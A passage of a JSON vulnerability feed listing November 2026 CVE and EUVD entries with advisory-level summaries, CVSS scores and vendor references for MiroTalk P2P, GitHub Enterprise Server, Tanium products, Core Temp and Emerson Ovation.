P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P"],"vendors":["miroslavpejic85"]},"ghsa":null},{"cve_id":"CVE-2026-121539","summary":"A vulnerability was found in miroslavpejic85 MiroTalk P2P up to 2.0.87/2.1.38. Affected by this issue is the function CheckPassword of the file app/src/server.js of the component Socket IO Handler. Performing a manipulation of the argument peer_id results in improper access controls. It is possible to initiate the attack remotely. Upgrading to version 2.1.39 can resolve this issue. The patch is named 4e40471abc48bfc32b4b174b8844716dfc5c1471. You should upgrade the affected component.","cvss":5.3,"cvss_version":4.0,"cvss_v2":6.5,"cvss_v3":6.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/miroslavpejic85/mirotalk/commit/4e40471abc48bfc32b4b174b8844716dfc5c1471","https://github.com/waterhunter2000-svg/vulnerability-reports","https://vuldb.com/cve/CVE-2026-121539","https://vuldb.com/submit/1019996","https://vuldb.com/vuln/430300","https://vuldb.com/vuln/430300/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:34","euvd":{"id":"EUVD-2026-116579","description":"A vulnerability was found in miroslavpejic85 MiroTalk P2P up to 2.0.87/2.1.38. Affected by this issue is the function CheckPassword of the file app/src/server.js of the component Socket IO Handler. Performing a manipulation of the argument peer_id results in improper access controls. It is possible to initiate the attack remotely. Upgrading to version 2.1.39 can resolve this issue. The patch is named 4e40471abc48bfc32b4b174b8844716dfc5c1471. You should upgrade the affected component.","published_time":"2026-11-03T22:30:15","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430300","https://vuldb.com/vuln/430300/cti","https://vuldb.com/cve/CVE-2026-121539","https://vuldb.com/submit/1019996","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/miroslavpejic85/mirotalk/commit/4e40471abc48bfc32b4b174b8844716dfc5c1471"],"products":["MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P"],"vendors":["miroslavpejic85"]},"ghsa":null},{"cve_id":"CVE-2026-118237","summary":"An out-of-bounds read vulnerability was identified in GitHub Enterprise Server in the Git service (babeld). When proving possession of a host key, babeld's SSH implementation sized the session identifier by the current digest length rather than its own. An attacker with an account and SSH access could re-key to an algorithm with a longer hash, causing adjacent process memory to be signed and returned to the client, where a limited amount of it may be recoverable. This vulnerability affected all releases prior to 3.23 and was fixed in versions 3.22.3, 3.21.8, 3.20.10, and 3.19.14. This vulnerability was reported via the GitHub Bug Bounty program.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.14","https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.10","https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.8","https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.3"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:33","euvd":{"id":"EUVD-2026-116583","description":"An out-of-bounds read vulnerability was identified in GitHub Enterprise Server in the Git service (babeld). When proving possession of a host key, babeld's SSH implementation sized the session identifier by the current digest length rather than its own. An attacker with an account and SSH access could re-key to an algorithm with a longer hash, causing adjacent process memory to be signed and returned to the client, where a limited amount of it may be recoverable. This vulnerability affected all releases prior to 3.23 and was fixed in versions 3.22.3, 3.21.8, 3.20.10, and 3.19.14. This vulnerability was reported via the GitHub Bug Bounty program.","published_time":"2026-11-03T22:51:42","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_P","references":["https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.14","https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.10","https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.8","https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.3"],"products":["Enterprise Server","Enterprise Server","Enterprise Server","Enterprise Server"],"vendors":["GitHub"]},"ghsa":null},{"cve_id":"CVE-2026-120775","summary":"Tanium addressed a heap-based buffer overflow vulnerability in Deploy.","cvss":7.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-089"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:33","euvd":{"id":"EUVD-2026-116554","description":"Tanium addressed a heap-based buffer overflow vulnerability in Deploy.","published_time":"2026-11-03T22:17:24","cvss":7.2,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-089"],"products":["Deploy","Deploy","Deploy"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116666","summary":"Tanium addressed an information disclosure vulnerability in Discover.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-093"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:32","euvd":{"id":"EUVD-2026-116555","description":"Tanium addressed an information disclosure vulnerability in Discover.","published_time":"2026-11-03T22:18:00","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-093"],"products":["Discover","Discover","Discover"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116667","summary":"Tanium addressed an improper access controls vulnerability in Discover.","cvss":4.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-085"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:32","euvd":{"id":"EUVD-2026-116553","description":"Tanium addressed an improper access controls vulnerability in Discover.","published_time":"2026-11-03T22:17:24","cvss":4.2,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-085"],"products":["Discover","Discover","Discover"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116668","summary":"Tanium addressed an uncontrolled resource consumption vulnerability in Discover.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-098"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:32","euvd":{"id":"EUVD-2026-116556","description":"Tanium addressed an uncontrolled resource consumption vulnerability in Discover.","published_time":"2026-11-03T22:18:00","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-098"],"products":["Discover","Discover","Discover"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116669","summary":"Tanium addressed an improper access controls vulnerability in Discover.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-087"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:32","euvd":{"id":"EUVD-2026-116541","description":"Tanium addressed an improper access controls vulnerability in Discover.","published_time":"2026-11-03T22:14:50","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-087"],"products":["Discover"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116652","summary":"Tanium addressed a business logic error in Threat Response.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-081"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:31","euvd":{"id":"EUVD-2026-116543","description":"Tanium addressed a business logic error in Threat Response.","published_time":"2026-11-03T22:15:27","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-081"],"products":["Threat Response","Threat Response","Threat Response"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116653","summary":"Tanium addressed an improper input validation vulnerability in Threat Response.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-090"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:31","euvd":{"id":"EUVD-2026-116544","description":"Tanium addressed an improper input validation vulnerability in Threat Response.","published_time":"2026-11-03T22:16:44","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-090"],"products":["Threat Response","Threat Response","Threat Response"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116654","summary":"Tanium addressed an improper input validation vulnerability in Threat Response.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-083"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:31","euvd":{"id":"EUVD-2026-116546","description":"Tanium addressed an improper input validation vulnerability in Threat Response.","published_time":"2026-11-03T22:17:22","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-083"],"products":["Threat Response","Threat Response","Threat Response"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116661","summary":"Tanium addressed an improper access controls vulnerability in Enforce.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-096"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:31","euvd":{"id":"EUVD-2026-116558","description":"Tanium addressed an improper access controls vulnerability in Enforce.","published_time":"2026-11-03T22:18:00","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-096"],"products":["Enforce","Enforce"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116663","summary":"Tanium addressed an improper access controls vulnerability in Enforce.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-099"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:31","euvd":{"id":"EUVD-2026-116551","description":"Tanium addressed an improper access controls vulnerability in Enforce.","published_time":"2026-11-03T22:17:23","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-099"],"products":["Enforce"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116664","summary":"Tanium addressed an improper access controls vulnerability in Discover.","cvss":3.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-091"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:31","euvd":{"id":"EUVD-2026-116552","description":"Tanium addressed an improper access controls vulnerability in Discover.","published_time":"2026-11-03T22:17:23","cvss":3.1,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-091"],"products":["Discover","Discover","Discover"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116665","summary":"Tanium addressed an information disclosure vulnerability in Discover.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-094"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:31","euvd":{"id":"EUVD-2026-116549","description":"Tanium addressed an information disclosure vulnerability in Discover.","published_time":"2026-11-03T22:17:23","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-094"],"products":["Discover","Discover","Discover"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116646","summary":"Tanium addressed an uncontrolled resource consumption vulnerability in Threat Response.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-097"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:30","euvd":{"id":"EUVD-2026-116539","description":"Tanium addressed an uncontrolled resource consumption vulnerability in Threat Response.","published_time":"2026-11-03T22:14:49","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-097"],"products":["Threat Response","Threat Response","Threat Response"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116648","summary":"Tanium addressed an improper output sanitization vulnerability in Discover.","cvss":4.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-084"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:30","euvd":{"id":"EUVD-2026-116550","description":"Tanium addressed an improper output sanitization vulnerability in Discover.","published_time":"2026-11-03T22:17:23","cvss":4.1,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-084"],"products":["Discover","Discover","Discover"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116650","summary":"Tanium addressed an unauthorized code execution vulnerability in Threat Response.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-095"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:30","euvd":{"id":"EUVD-2026-116557","description":"Tanium addressed an unauthorized code execution vulnerability in Threat Response.","published_time":"2026-11-03T22:18:00","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-095"],"products":["Threat Response","Threat Response","Threat Response"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-116651","summary":"Tanium addressed an unauthorized code execution vulnerability in Threat Response.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-088"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:30","euvd":{"id":"EUVD-2026-116545","description":"Tanium addressed an unauthorized code execution vulnerability in Threat Response.","published_time":"2026-11-03T22:16:44","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-088"],"products":["Threat Response","Threat Response","Threat Response"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-111085","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:26","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-108516","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:25","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-109836","summary":"The Core Temp kernel driver provided by ALCPU is vulnerable to insufficient access control in an exposed IOCTL, which may allow physical memory to be read or written.","cvss":8.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.7,"cvss_v4":8.4,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["http://www.alcpu.com/CoreTemp","https://jvn.jp/en/jp/JVN23328936/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:25","euvd":{"id":"EUVD-2026-116584","description":"The Core Temp kernel driver provided by ALCPU is vulnerable to insufficient access control in an exposed IOCTL, which may allow physical memory to be read or written.","published_time":"2026-11-03T22:52:42","cvss":8.4,"cvss_version":"4.0","epss":0.0,"assigner":"jpcert","references":["http://www.alcpu.com/CoreTemp","https://jvn.jp/en/jp/JVN23328936/"],"products":["Core Temp"],"vendors":["ALCPU"]},"ghsa":null},{"cve_id":"CVE-2026-110288","summary":"A cross-site request forgery vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to delete stored Slack and Microsoft Teams ChatOps configuration and provider credentials by inducing an authenticated Management Console operator's browser to send a cross-site GET request to the integration removal endpoint without a CSRF token. Exploitation required configured ChatOps integrations and an operator visiting attacker-controlled content while signed in to the Management Console; deletion could disrupt ChatOps notifications and commands when configuration was applied or services reloaded. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.23 and was fixed in versions 3.19.14, 3.20.10, 3.21.8, and 3.22.3. This vulnerability was reported via the GitHub Bug Bounty program.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.14","https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.10","https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.8","https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.3"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:25","euvd":{"id":"EUVD-2026-116582","description":"A cross-site request forgery vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to delete stored Slack and Microsoft Teams ChatOps configuration and provider credentials by inducing an authenticated Management Console operator's browser to send a cross-site GET request to the integration removal endpoint without a CSRF token. Exploitation required configured ChatOps integrations and an operator visiting attacker-controlled content while signed in to the Management Console; deletion could disrupt ChatOps notifications and commands when configuration was applied or services reloaded. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.23 and was fixed in versions 3.19.14, 3.20.10, 3.21.8, and 3.22.3. This vulnerability was reported via the GitHub Bug Bounty program.","published_time":"2026-11-03T22:50:39","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_P","references":["https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.14","https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.10","https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.8","https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.3"],"products":["Enterprise Server","Enterprise Server","Enterprise Server","Enterprise Server"],"vendors":["GitHub"]},"ghsa":null},{"cve_id":"CVE-2026-103429","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:24","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-104608","summary":"A remote code execution vulnerability was identified in GitHub Enterprise Server in the Git service (babeld). babeld held references into internal collections while calling into the SSH library, where a re-entrant callback could modify a collection and invalidate those references. An attacker with an account and SSH access to the instance could leverage this use-after-free into a controlled write and run arbitrary commands as babeld, including disclosure of its environment secrets. Exploitation required per-build memory offsets; failed attempts crashed babeld. This affected all releases prior to 3.23 and was fixed in 3.22.3, 3.21.8, 3.20.10, and 3.19.14. This vulnerability was reported via the GitHub Bug Bounty program.","cvss":7.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.14","https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.10","https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.8","https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.3"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:24","euvd":{"id":"EUVD-2026-116581","description":"A remote code execution vulnerability was identified in GitHub Enterprise Server in the Git service (babeld). babeld held references into internal collections while calling into the SSH library, where a re-entrant callback could modify a collection and invalidate those references. An attacker with an account and SSH access to the instance could leverage this use-after-free into a controlled write and run arbitrary commands as babeld, including disclosure of its environment secrets. Exploitation required per-build memory offsets; failed attempts crashed babeld. This affected all releases prior to 3.23 and was fixed in 3.22.3, 3.21.8, 3.20.10, and 3.19.14. This vulnerability was reported via the GitHub Bug Bounty program.","published_time":"2026-11-03T22:49:48","cvss":7.7,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_P","references":["https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.14","https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.10","https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.8","https://docs.github.com/en/enterprise-server@3.22/admin/release-notes#3.22.3"],"products":["Enterprise Server","Enterprise Server","Enterprise Server","Enterprise Server"],"vendors":["GitHub"]},"ghsa":null},{"cve_id":"CVE-2026-107916","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:24","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-108324","summary":"Tanium addressed a denial of service vulnerability in Tanium Client.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-086"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:24","euvd":{"id":"EUVD-2026-116540","description":"Tanium addressed a denial of service vulnerability in Tanium Client.","published_time":"2026-11-03T22:14:49","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-086"],"products":["Tanium Client","Tanium Client"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-108327","summary":"Tanium addressed a path traversal vulnerability in Tanium Data Service.","cvss":5.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.0,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-082"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:24","euvd":{"id":"EUVD-2026-116548","description":"Tanium addressed a path traversal vulnerability in Tanium Data Service.","published_time":"2026-11-03T22:17:23","cvss":5.0,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-082"],"products":["Tanium Data Service","Tanium Data Service","Interact"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2022-30267","summary":"Emerson Ovation \nwas found to have no authentication of firmware signing and relies on an insecure checksum for integrity. This could allow an attacker to push malicious firmware images, cause a denial-of-service condition, or achieve remote code execution.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2024/icsa-24-158-02.json","https://www.cisa.gov/news-events/ics-advisories/icsa-24-158-02"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:21","euvd":{"id":"EUVD-2022-56079","description":"Emerson Ovation \nwas found to have no authentication of firmware signing and relies on an insecure checksum for integrity. This could allow an attacker to push malicious firmware images, cause a denial-of-service condition, or achieve remote code execution.","published_time":"2026-11-03T23:03:12","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"icscert","references":["https://www.cisa.gov/news-events/ics-advisories/icsa-24-158-02","https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2024/icsa-24-158-02.json"],"products":["Ovation"],"vendors":["Emerson"]},"ghsa":null},{"cve_id":"CVE-2022-29966","summary":"Emerson Ovation has several protocols that have no authentication, which could allow an attacker to change controller configuration or cause a denial-of-service condition.","cvss":9.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":9.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2024/icsa-24-158-02.json","https://www.cisa.gov/news-events/ics-advisories/icsa-24-158-02"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:20","euvd":{"id":"EUVD-2022-56078","description":"Emerson Ovation has several protocols that have no authentication, which could allow an attacker to change controller configuration or cause a denial-of-service 